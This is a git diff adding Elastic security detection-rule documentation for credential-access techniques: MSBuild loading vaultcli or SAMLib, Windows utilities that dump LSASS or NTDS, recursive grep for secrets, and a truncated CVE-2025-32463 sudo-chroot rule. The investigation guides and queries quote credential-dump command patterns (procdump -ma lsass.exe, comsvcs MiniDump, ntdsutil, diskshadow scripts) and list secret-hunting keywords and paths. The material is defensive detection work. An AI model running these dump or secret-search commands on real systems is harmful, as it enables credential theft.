Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-access-via-trusted-developer-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-access-via-trusted-developer-utility.asciidoc new file mode 100644 index 0000000000..2fa61bf54a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-access-via-trusted-developer-utility.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-potential-credential-access-via-trusted-developer-utility]] +=== Potential Credential Access via Trusted Developer Utility + +An instance of MSBuild, the Microsoft Build Engine, loaded DLLs (dynamically linked libraries) responsible for Windows credential management. This technique is sometimes used for credential dumping. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.library-* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Credential Access via Trusted Developer Utility* + + + +*Possible investigation steps* + + +- What do the matched source events show about the MSBuild instance? + - Focus: Timeline source events for `process.entity_id` -- the start-event `process.executable` and `process.command_line` plus the library-stage `dll.path`. + - Implication: more concerning when MSBuild loads vaultcli.dll or SAMLib.dll from an unusual path or unexpected context; more explainable when Timeline shows a recognized build task loading the library from the default Windows system directory. + +- Is the MSBuild binary and launch chain expected for this host? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.parent.executable`. + - Implication: more concerning when MSBuild is renamed, unsigned, user-writable, outside expected .NET Framework or Visual Studio build roots, or launched by Office, a script host, an archive utility, or another unexpected parent. + +- Does the command line or project path suggest transient or user-delivered build content? + - Focus: `process.command_line` and `process.working_directory`, especially .csproj, .xml, .proj, /logger, or @ response-file paths in temp folders, downloads, removable media, user-profile paths, or network shares. + - Implication: supports concern when MSBuild runs user-delivered project content, logger DLLs, response files, or inline tasks outside normal compilation; less suspicious when the project resides in a stable source-tree or CI workspace and the build arguments match a recurring compilation pattern. + +- Does the loaded credential library path, trust, and recency fit legitimate development behavior? + - Focus: `dll.name`, `dll.path`, `dll.code_signature.trusted`, and `dll.Ext.relative_file_creation_time`. + - Implication: supports concern when vaultcli or SAMLib loads from user-writable or transient paths, arrives unsigned, or was created shortly before the load; weaker support when the path is the expected Windows system directory and project context supports a recognized credential-management test. + +- Do file writes or child processes show MSBuild acting as a launcher instead of a compiler? + - Focus: file activity from `process.entity_id`: written `file.path` values, especially payloads, scripts, or compiled artifacts in user-writable paths. !{investigate{"description":"","label":"File activity for the MSBuild process and children","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: review child starts where `process.parent.entity_id` equals the MSBuild entity; shell or script-engine children are stronger than normal compiler toolchain children. !{investigate{"description":"","label":"Child processes spawned by MSBuild","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: suggests proxy execution when MSBuild drops payloads, stages scripts or compiled artifacts, or spawns shells or script engines. Missing file telemetry is unresolved, not benign. + +- Do MSBuild or its child processes attempt off-host staging? + - Focus: same-host connection events for the MSBuild `process.entity_id` or direct children where `process.parent.entity_id` matches the MSBuild entity, with `destination.ip` and `destination.port`. !{investigate{"description":"","label":"Network activity for the MSBuild process and children","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: supports containment when suspicious project, DLL, file, or child-process evidence is followed by outbound staging; missing network telemetry is unresolved, not benign. + +- Does the user and host context fit developer or build-runner activity? + - Focus: `user.id`, `user.domain`, `process.Ext.session_info.logon_type`, `host.id`, and `host.name`; compare prior source events for the same user-host cohort. + - Implication: risk rises when the user-host pair has no recurring build-tool history or when the session type is unexpected; lower only when the user, host, session, and source events fit a bounded developer or build-service pattern. + +- If local MSBuild evidence is still suspicious, does related alert history show the same user or host reusing trusted-utility abuse patterns? + - Focus: related alerts for `user.id`, especially trusted-utility abuse, credential access, lateral movement, or launches of "InstallUtil", "RegAsm", "MSHTA", or similar signed proxies; inspect their source events before comparing project paths or destinations. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare `host.id` alert history to assess whether activity is confined to this asset. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: suggests broader scope when the same user or host shows trusted-utility abuse, persistence, staging, or credential-access alerts; stays localized when history is limited to the same recognized build or test workflow on this asset. + +- Escalate when MSBuild identity, project path, loaded library, follow-on behavior, user-host context, or alert scope show unrecognized use, credential-library loads from non-standard paths, or payload behavior; close only when all jointly fit a recognized build or test scenario; preserve and escalate when evidence is mixed or visibility incomplete. + + +*False positive analysis* + + +- Authorized credential-management tests, security-tool validation, or build pipelines compiling code that uses Windows credential APIs can legitimately trigger vaultcli.dll or SAMLib.dll loads. Confirm only when `process.command_line`, project path, `dll.path`, `process.executable`, `process.parent.executable`, `user.id`, and `host.id` align with that same recognized lab or build-pipeline workflow. If records are unavailable, require the same process-identity fields, loaded `dll.path`, and `user.id`/`host.id` to recur across prior alerts before treating the activity as benign. +- Before creating an exception, validate that `process.executable`, `process.code_signature.subject_name`, `process.parent.executable`, stable `process.command_line` pattern, loaded `dll.path`, `user.id`, and `host.id` recur across prior alerts from this rule. Build the exception from that minimum confirmed workflow pattern. Avoid exceptions on `process.name` alone, the library name alone, or the host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record the confirmed explanation in `process.executable`, `process.parent.executable`, project path from `process.command_line`, loaded `dll.path`, `user.id`, and `host.id`. Create an exception only if that same pattern recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve a case export for the recovered MSBuild process, its command line, project/task files, loaded credential DLL, dropped artifacts, child-process lineage, and confirmed destinations. Apply reversible containment first -- temporary destination restrictions or heightened monitoring on `host.id` and `user.id` -- and escalate to host isolation only when preserved evidence shows meaningful staging or payload risk. +- If confirmed malicious, use endpoint response actions to isolate the host and terminate MSBuild or its staging child processes after preserving the recovered MSBuild and parent entity IDs, project files, compiled artifacts, child processes, confirmed destinations, and loaded DLL path. If direct endpoint response is unavailable, hand off that artifact set immediately to the team that can isolate the host or block the destinations. +- Eradicate the malicious project files, inline tasks, payloads, persistence artifacts, and secondary tooling uncovered during the investigation, then remediate the delivery or execution-control gap that allowed MSBuild to proxy the credential-access behavior. +- Investigate credential exposure based on what the project targeted: review Windows Credential Manager, saved secrets, and local-account exposure on the host, and rotate or revoke affected credentials according to the recovered artifacts and follow-on activity. +- Review related hosts for the same project-path pattern, library-load combination, child-process behavior, and adjacent trusted-developer-utility abuse before deleting files or removing tooling, and retain process, library, file, and network telemetry needed for future cases. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-7-setup[Sysmon Event ID 7 - Image Loaded] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id + [process where host.os.type == "windows" and event.type == "start" and (process.name : "MSBuild.exe" or process.pe.original_file_name == "MSBuild.exe")] + [library where host.os.type == "windows" and dll.name : ("vaultcli.dll", "SAMLib.DLL")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Security Account Manager +** ID: T1003.002 +** Reference URL: https://attack.mitre.org/techniques/T1003/002/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Windows Credential Manager +** ID: T1555.004 +** Reference URL: https://attack.mitre.org/techniques/T1555/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-access-via-windows-utilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-access-via-windows-utilities.asciidoc new file mode 100644 index 0000000000..d215473788 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-access-via-windows-utilities.asciidoc @@ -0,0 +1,222 @@ +[[prebuilt-rule-8-19-34-potential-credential-access-via-windows-utilities]] +=== Potential Credential Access via Windows Utilities + +Identifies the execution of known Windows utilities often abused to dump LSASS memory or the Active Directory database (NTDS.dit) in preparation for credential access. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/ +* https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 323 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Credential Access via Windows Utilities* + + + +*Possible investigation steps* + + +- Which utility path did the alert take, and is the binary identity credible? + - Focus: `process.name`, `process.pe.original_file_name`, `process.executable`, `process.command_line`, and `process.code_signature.subject_name`. + - Implication: escalate faster when the alert path is a dump-capable utility from a user-writable, renamed, missing expected signer, or unexpected location; lower suspicion only when the utility family, signer, installed path, and command pattern fit one recognized diagnostic, SQL troubleshooting, crash-triage, or AD maintenance workflow. Identity alone does not clear the behavior. + +- Do the arguments identify a credential-dump objective? + - Focus: `process.command_line`: credential target, dump mode, script path, and output location. + - Hint: high-risk examples include "procdump -ma lsass.exe", Rundll32/comsvcs MiniDump, ntdsutil IFM output, and "diskshadow.exe /s" scripts that expose, copy, exec, or delete shadow-copy paths. + - Implication: escalate when arguments target LSASS, invoke Rundll32/comsvcs dumping, create NTDS/IFM output, drive VSS script execution, or write to user-writable or share paths; lower suspicion when the target is clearly non-credential and the output path matches the same recognized troubleshooting or backup workflow. + +- Does the parent chain explain why this host would run a dump or snapshot utility? + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.Ext.ancestry`, and `process.Ext.session_info.logon_type`, with `user.id` defining the actor scope. + - Implication: escalate when the chain starts from shells, script hosts, Office processes, unexpected services, scheduled tasks, or remote-interactive sessions; lower suspicion only when the same actor, session type, and parent workflow explain the utility launch and do not conflict with command intent. + +- If file telemetry is available, did the utility create dump, shadow-copy, or directory database artifacts? + - Focus: recover file events with `host.id` + `process.entity_id`; if `process.entity_id` is missing, use `host.id` + `process.pid` + a tight alert window, then review `file.path`, `file.Ext.original.path`, and `file.Ext.header_bytes` for dump files, copied directory-database material, IFM folders, registry hives, shadow-copy output, or archive staging. !{investigate{"description":"","label":"File activity for the alerting process and children","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when artifacts show LSASS dumps, AD database or credential-hive collection, shadow-copy access, or staged archives; close cannot rely on absent file events because missing file telemetry is unresolved, not benign. + +- Do child processes or connection events show collected material being staged or exported? + - Focus: child process starts, file activity, and network activity where `process.parent.entity_id` matches the alerting `process.entity_id` on `host.id`; if network telemetry is available, review `destination.ip`, `destination.port`, and `network.direction`. !{investigate{"description":"","label":"Child processes of the alerting process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} !{investigate{"description":"","label":"Network activity for the alerting process and children","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the utility spawns a short-lived archiver or copy tool, pivot from that child into same-host connection events before broadening. + - Implication: escalate when the utility or child process spawns archivers, copy tools, "diskshadow.exe" exec children, or transfers dump material off-host; missing network telemetry is unresolved, not benign. + +- If local findings remain suspicious or unresolved, do related alerts show broader credential-access activity? + - Focus: related alerts for `user.id` covering dumping, privilege escalation, lateral movement, archiving, or staging. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if the actor view is sparse, pivot to related alerts for `host.id` covering precursor access, persistence, archiving, or exfiltration. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when either view shows a credential-access chain or reuse of the same utility pattern; do not close solely because related alerts are absent if command intent, artifacts, lineage, or post-dump cleanup remain suspicious. + +- Disposition: escalate when utility identity, command intent, lineage, artifacts, staging, or related scope indicate credential access; close only when identity, arguments, lineage, recovered artifacts, and supported scope all align with one recognized diagnostic, troubleshooting, crash-triage, backup, or IFM workflow; preserve artifacts and escalate when evidence is mixed or visibility is incomplete. + + +*False positive analysis* + + +- Recognized crash-triage, SQL troubleshooting, AD backup, or IFM workflows can trigger this rule. Confirm the same workflow across identity (`process.executable`, `process.code_signature.subject_name`), lineage (`process.parent.executable`), intent (`process.command_line`), actor/scope (`user.id`, `host.id`), and recovered artifact paths when available. Case records may corroborate the workflow, but do not close on recurrence alone; use prior alerts only after current telemetry aligns. +- Build exceptions only from the confirmed recurring workflow: `process.executable`, `process.code_signature.subject_name`, `process.parent.executable`, stable `process.command_line`, `user.id`, `host.id`, and recovered output path or dump-directory pattern when available. Avoid exceptions on `process.name`, `host.id`, utility family, or generic dump switches alone. + + +*Response and remediation* + + +- If confirmed benign, record the recognized diagnostic, backup, or directory-services evidence in `process.executable`, `process.command_line`, `process.parent.executable`, `user.id`, `host.id`, and recovered output paths when available, then reverse any temporary containment. Create an exception only if that same pattern recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the recovered `process.entity_id` or `process.pid` with `host.id` and time, `process.command_line`, script-file, dump, shadow-copy, and copied-database paths, child-process lineage via `process.parent.entity_id` / `process.parent.pid`, and any confirmed destination pairs before making destructive changes. Apply reversible containment first, such as temporary destination blocking or increased monitoring on the affected `host.id` and `user.id`. Escalate to host isolation only if dump material, IFM output, or staging transfers are confirmed and the host can tolerate interruption. +- If confirmed malicious, use endpoint response actions to isolate the host and terminate the dump or staging process after preserving `process.entity_id`, `process.parent.entity_id`, `process.command_line`, recovered output paths, any available `process.hash.sha256`, and confirmed destinations. If direct endpoint response is unavailable, hand off that artifact set immediately to the team that can isolate the system or block the destinations. +- If LSASS dumping is confirmed, assume exposure for all accounts with active sessions on the affected host, including interactive, service, and cached credentials. Prioritize resets for privileged, service, and lateral-movement-relevant accounts and review whether the dump material was staged or transferred before containment. +- If NTDS access or dump activity is confirmed on a domain controller, activate the organization's Active Directory compromise response plan, preserve the evidence needed to scope database and credential exposure, and begin privileged-account hygiene based on the systems and accounts implicated by the investigation before deleting copied database material. +- Review related hosts and users for the same `process.command_line` patterns, dump-file naming patterns, `process.parent.executable`, and confirmed destinations before deleting dump files, IFM output, shadow copies, utilities, or persistence mechanisms uncovered during the investigation, then remediate the delivery or privilege path that allowed the utility to run. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +( + ( + (?process.pe.original_file_name : "procdump" or process.name : "procdump.exe") and process.args : "-ma" + ) or + ( + process.name : "ProcessDump.exe" and not process.parent.executable regex~ """C:\\Program Files( \(x86\))?\\Cisco Systems\\.*""" + ) or + ( + (?process.pe.original_file_name : "WriteMiniDump.exe" or process.name : "WriteMiniDump.exe") and + not process.parent.executable regex~ """C:\\Program Files( \(x86\))?\\Steam\\.*""" + ) or + ( + (?process.pe.original_file_name : "RUNDLL32.EXE" or process.name : "RUNDLL32.exe") and + ( + process.args : "*MiniDump*" or + process.command_line : ("*comsvcs*#*24*", "*#*24* full*", "*comsvcs*24* full*") + ) + ) or + ( + (?process.pe.original_file_name : "RdrLeakDiag.exe" or process.name : "RdrLeakDiag.exe") and + process.args : "/fullmemdmp" + ) or + ( + (?process.pe.original_file_name : "SqlDumper.exe" or process.name : "SqlDumper.exe") and + process.args : "0x01100*") or + ( + (?process.pe.original_file_name : "TTTracer.exe" or process.name : "TTTracer.exe") and + process.args : "-dumpFull" and process.args : "-attach") or + ( + (?process.pe.original_file_name : "ntdsutil.exe" or process.name : "ntdsutil.exe") and + process.args : "cr*fu*") or + ( + (?process.pe.original_file_name : "diskshadow.exe" or process.name : "diskshadow.exe") and process.args : "/s") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Sub-technique: +** Name: NTDS +** ID: T1003.003 +** Reference URL: https://attack.mitre.org/techniques/T1003/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-discovery-via-recursive-grep.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-discovery-via-recursive-grep.asciidoc new file mode 100644 index 0000000000..1c707d1830 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-credential-discovery-via-recursive-grep.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-potential-credential-discovery-via-recursive-grep]] +=== Potential Credential Discovery via Recursive Grep + +Identifies recursive grep activity on Linux or macOS where the command line suggests hunting for secrets, credentials, keys, tokens, or sensitive paths (for example .env, .git, .aws). Events are aggregated per host, user, parent process, and one-minute window, the rule surfaces activity only when at least three distinct grep command lines match in the same bucket, to reduce noise from one-off searches. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1552/001/ +* https://attack.mitre.org/techniques/T1083/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Discovery +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Supply Chain +* Rule Type: ES|QL +* Platform: Linux +* Platform: macOS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Credential Discovery via Recursive Grep* + + +Adversaries and insider threats sometimes use `grep -r` (or `--recursive`, `-R`) across directories to find passwords, +API keys, private keys, cloud tokens, or repository and environment files. This rule looks for `grep`/`egrep` process +starts with recursive flags and command-line patterns associated with credential and secret discovery, then requires +**three or more distinct command lines** in the same one-minute bucket per host, user, and parent process. + + +*Possible investigation steps* + + +- Review **Esql.cmd_values** for the exact patterns searched (paths, regex, file globs). +- Inspect **Esql.pcmd_values** and **process.parent.name** to see the launch context (interactive shell, script, IDE, CI). +- Confirm whether the user and host normally run security scans, audits, or developer tooling that legitimately greps for secrets. +- If suspicious, search the same host for file access, archive exfiltration, or cloud API use in the surrounding timeframe. + + +*False positive analysis* + + +- Security scanners, secret scanners (e.g. in CI), and compliance scripts may match. Tune by **parent process**, **user**, + **working directory**, or organizational allowlists. +- Legitimate searches in documentation for the word "password" can match; the **unique_cmd >= 3** threshold reduces but + does not eliminate this. + + +*Response and remediation* + + +- If unauthorized: contain the host, reset or rotate any credentials that may have been exposed, and review VCS and + cloud audit logs for follow-on abuse. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-* metadata _id, _version, _index +| where host.os.type in ("linux", "macos") + and event.category == "process" + and process.name in ("grep", "egrep") + and (to_lower(process.command_line) like "* -r*" or to_lower(process.command_line) like "*--recursive*") + and ( + process.command_line like "*password*" + or process.command_line like "*passwd*" + or process.command_line like "*pwd*" + or process.command_line like "*secret*" + or process.command_line like "*token*" + or process.command_line like "*apikey*" + or process.command_line like "*api_key*" + or process.command_line like "*api.key*" + or process.command_line like "*access_key*" + or process.command_line like "*private_key*" + or process.command_line like "*client_secret*" + or process.command_line like "*credential*" + or process.command_line like "*auth*" + or process.command_line like "*bearer*" + or process.command_line like "*BEGIN*PRIVATE*KEY*" + or process.command_line like "*ssh-rsa*" + or process.command_line like "*ghp_*" + or process.command_line like "*github_pat*" + or process.command_line like "*xoxb-*" + or process.command_line like "*hooks.slack.com*" + or process.command_line like "*discord.com/api/webhooks*" + or process.command_line like "*/.aws/*" + or process.command_line like "*/.git/*" + or process.command_line like "*/.env*" + ) + and (process.parent.command_line is null or not (to_lower(process.parent.command_line) like "*shell-snapshots*" and process.parent.name in ("bash", "sh", "zsh"))) +| eval Esql.time_bucket = date_trunc(1 minute, @timestamp) +| stats Esql.unique_cmd = count_distinct(process.command_line), + Esql.cmd_values = values(process.command_line), + Esql.pcmd_values = values(process.parent.command_line) + by process.name, host.id, host.name, agent.id, process.parent.name, user.name, Esql.time_bucket +| where Esql.unique_cmd >= 3 +| keep host.id, host.name, agent.id, user.name, process.parent.name, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-cve-2025-32463-nsswitch-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-cve-2025-32463-nsswitch-file-creation.asciidoc new file mode 100644 index 0000000000..f58e665af5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-cve-2025-32463-nsswitch-file-creation.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-potential-cve-2025-32463-nsswitch-file-creation]] +=== Potential CVE-2025-32463 Nsswitch File Creation + +Detects suspicious creation of the nsswitch.conf file, outside of the regular /etc/nsswitch.conf path, consistent with attempts to exploit CVE-2025-32463 (the "sudo chroot" privilege escalation), where an attacker tricks sudo into using attacker-controlled NSS files or libraries to gain root. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches 